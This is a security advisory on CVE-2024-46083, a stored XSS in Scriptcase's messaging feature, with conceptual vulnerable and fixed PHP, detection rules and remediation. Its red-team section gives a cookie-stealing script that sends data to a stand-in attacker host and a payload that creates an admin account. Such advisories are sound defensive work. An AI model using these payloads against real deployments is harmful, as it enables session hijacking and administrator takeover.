CVE-2024-46083

Executive Summary

CVE-2024-46083 is a Stored Cross-Site Scripting (XSS) vulnerability identified in Scriptcase version 9.10.023 and earlier. An authenticated attacker can inject malicious JavaScript payloads via the application's messages feature. Due to insufficient input sanitization, these payloads are stored and executed in the browsers of any user viewing the message, including administrators. This allows an attacker to perform actions on behalf of an administrator, such as modifying application settings, exfiltrating sensitive data, or creating new privileged accounts. The vulnerability is currently unpatched, and no official fix has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). Scriptcase is a proprietary low-code platform. The risk is limited to organizations that have deployed Scriptcase internally.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) | Calculated: 5.4 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Threat Level: Medium. The requirement for authentication and user interaction reduces the severity, but the potential for privilege escalation (user to admin) makes it a significant risk for Scriptcase deployments.

Deep Dive & Mechanics

The vulnerability resides in the messaging functionality of Scriptcase. When an authenticated user sends a message, the application stores the message content in a database without proper sanitization or encoding. When another user (including an administrator) views the message, the stored content is rendered in the browser without escaping HTML entities.

Attack Flow:

1. Authentication: The attacker logs in as a regular user.
2. Payload Injection: The attacker crafts a message containing a malicious JavaScript payload, e.g., <script>alert('XSS')</script> or a more sophisticated payload to steal cookies or perform actions.
3. Storage: The payload is stored in the database.
4. Trigger: An administrator views the message (e.g., in their inbox).
5. Execution: The browser executes the injected script in the context of the administrator's session.
6. Impact: The attacker can now perform actions as the administrator, such as creating new admin users, modifying application code, or exfiltrating data.

Root Cause: The application fails to apply output encoding (e.g., HTML entity encoding) when rendering user-supplied content in the messages view. This is a classic Stored XSS vulnerability.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current production code. A patched version would need to implement proper output encoding.

Vulnerable Code (Conceptual PHP):

// In the message display function
echo "<div class='message'>" . $messageContent . "</div>";

Patched Code (Conceptual PHP):

// In the message display function
echo "<div class='message'>" . htmlspecialchars($messageContent, ENT_QUOTES, 'UTF-8') . "</div>";

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of Scriptcase v9.10.023 or earlier.
• Valid credentials for a regular user account.

Steps:

1. Log in to Scriptcase as a regular user.
2. Navigate to the messaging feature (e.g., "Messages" or "Inbox").
3. Create a new message to an administrator.
4. In the message body, inject a payload. For example, to steal the admin's session cookie:

   <script>
   fetch('https://attacker-controlled-server.com/steal?cookie=' + document.cookie);
   </script>
   

5. Send the message.
6. Wait for the administrator to view the message. The script will execute, sending the admin's session cookie to the attacker's server.
7. Use the stolen cookie to impersonate the administrator.

Alternative Payload (Perform Admin Action):

<script>
// Create a new admin user
var xhr = new XMLHttpRequest();
xhr.open('POST', '/admin/users/create', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('username=attacker_admin&password=Password123&role=admin');
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor web application logs for unusual POST requests to the messaging endpoint containing <script> tags or other HTML event handlers.
• Use a Web Application Firewall (WAF) to block common XSS payloads in message bodies.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening (Until Patch is Available):

• Input Validation: Implement server-side validation to strip or encode HTML tags from message content.
• Output Encoding: Ensure all user-supplied data is HTML-entity encoded before rendering.
• Principle of Least Privilege: Review user roles and ensure that regular users cannot send messages to administrators if not required.
• Session Security: Use HttpOnly and Secure flags on session cookies to prevent JavaScript access.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests from the Scriptcase server to unknown external domains (data exfiltration).
• POST requests to /messages/send or similar endpoints containing <script> tags.

File/Log IOCs:

• Web server logs showing requests with %3Cscript%3E (URL-encoded <script>) in the message body.
• Application logs showing creation of unexpected admin users.

Host IOCs:

• Unusual JavaScript files or scripts in the Scriptcase installation directory (if the attacker uploads a web shell).

Detection Engineering

YARA Rule

rule Detect_Scriptcase_XSS_Payload {
    meta:
        description = "Detects potential XSS payloads in Scriptcase message content"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-46083"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Scriptcase Stored XSS via Messages
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS payloads in Scriptcase message submissions
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-46083
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/messages/send'
        cs-uri-query|contains|all:
            - '<script'
            - '>'
    condition: selection
falsepositives:
    - Legitimate use of HTML in messages (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-46083 Scriptcase Stored XSS Payload Detected";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/messages/send"; http_uri;
    content:"<script"; http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-46083;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Messaging Feature: If possible, temporarily disable the messaging functionality in Scriptcase to prevent exploitation.
2. Apply WAF Rules: Deploy a Web Application Firewall (WAF) with rules to block common XSS payloads in POST requests to the messaging endpoint.
3. Review User Accounts: Audit user accounts for any unauthorized admin accounts that may have been created.

Long-Term Fix:

• Vendor Patch: Await an official patch from Scriptcase. Contact the vendor for an ETA.
• Code Modification: If you have access to the source code, implement proper output encoding (e.g., htmlspecialchars() in PHP) for all user-supplied data rendered in the browser.
• Upgrade: Upgrade to a patched version once released.

Compensating Controls:

• Content Security Policy (CSP): Implement a strict CSP header to prevent inline script execution.

  Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
  

• Input Sanitization: Use a library like HTMLPurifier to sanitize message content on the server side.

Valters IT
Securing Digital Frontiers